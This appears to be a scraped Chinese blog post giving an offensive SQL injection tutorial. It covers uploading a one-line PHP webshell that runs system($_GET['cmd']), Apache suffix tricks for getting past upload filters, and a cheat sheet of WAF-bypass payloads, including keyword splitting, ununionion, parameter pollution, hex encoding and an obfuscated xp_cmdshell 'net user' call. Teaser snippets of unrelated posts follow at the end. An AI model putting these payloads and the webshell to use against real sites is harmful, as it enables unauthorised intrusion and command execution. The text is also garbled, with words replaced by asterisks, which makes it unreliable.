SQL注入

2021-07-13 09:06:21 字數 1669 閱讀 6751

有注入漏洞的**獲取**的後台使用者名稱和密碼後破解登陸後台,然後在有上傳的地方上傳木馬

上傳webshell並執行**

使用後台提供的上傳功能上傳webshell(這邊可以上傳一句話木馬然後使用菜刀連線)

修改webshell字尾來繞過上傳限制(.php3或者.php.test,這邊是利用apache解析漏洞實現繞過)

新建乙個webshell,內容如下:

<?php

system($_get['cmd']);

?>

查詢上傳檔案的路徑(一般通過抓取返回包來獲取上傳位址,有時候抓包無法獲取的情況下,就要尋找其他方法,火狐的抓包外掛程式tamper data),這邊先單擊管理然後單擊test標籤

在上右擊檢視頁面原始碼,找到路徑

下面的語法可以用來注釋語句:

myql注入相關

符號內容

#hash語法

/*ctyle語法

- -sql語法

;%00

空位元組`

反引號

表和字段:

許可權:大小寫繞過

簡單編碼繞過:比如waf檢測關鍵字,那麼我們讓他檢測不到就可以了。比如檢測union,那麼我們就用%55也就是u的16進製制編碼來代替u,union寫成 %55nion,結合大小寫也可以繞過一些waf,你可以隨意替換乙個或幾個都可以。也還有大家在mysql注入中比如表名或是load檔案的時候,會把檔名或是表明用16進製制編碼來繞過waf都是屬於這類。

注釋繞過:這種情況比較少,適用於waf只是過濾了一次危險的語句,而沒有阻斷我們的整個查詢。/?id=1/*union*/union/*select*/select+1,2,3/*分隔重寫繞過:適用於那種waf採用了正規表示式的情況,會檢測所有的敏感字,而不在乎你寫在**,有幾個就過濾幾個。我們可以通過注釋分開敏感字,這樣waf的正則不起作用了,而帶入查詢的時候並不影響我們的結果。/?id=1+un/**/ion+sel/**/ect+1,2,3--;至於重寫繞過,適用於waf過濾了一次的情況,和我們上傳aaspsp馬的原理一樣,我們可以寫出類似ununionion這樣的。過濾一次union後就會執行我們的查詢了。?id=1 ununionion select 1,2,3--http引數汙染(hpp):/?id=1 union select+1,2,3+from+users+where+id=1--;我們可以重複一次前面的id值新增我們的值來繞過,&id=會在查詢時變成逗號:

/?id=1 union select+1&id=2,3+from+users+where+id=1--

具體分析的話就涉及到查詢語句的後台**的編寫了。

使用邏輯運算子or/and繞過

比較操作符替換:包括!= 不等於,<>不等於,< 小於,>大於,這些都可以用來替換=來繞過。

同功能函式替換

盲注無需or和and

加括號緩衝區移除繞過

各種編碼繞過:

最新過狗:

拆分關鍵字繞過:cnseay.com/1.aspx?id=1;exec(『ma』+'ster..x』+'p_cm』+'dsh』+'ell 」net user」』)

請求方式差異規則鬆懈性繞過:

冷門函式/標籤繞過

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...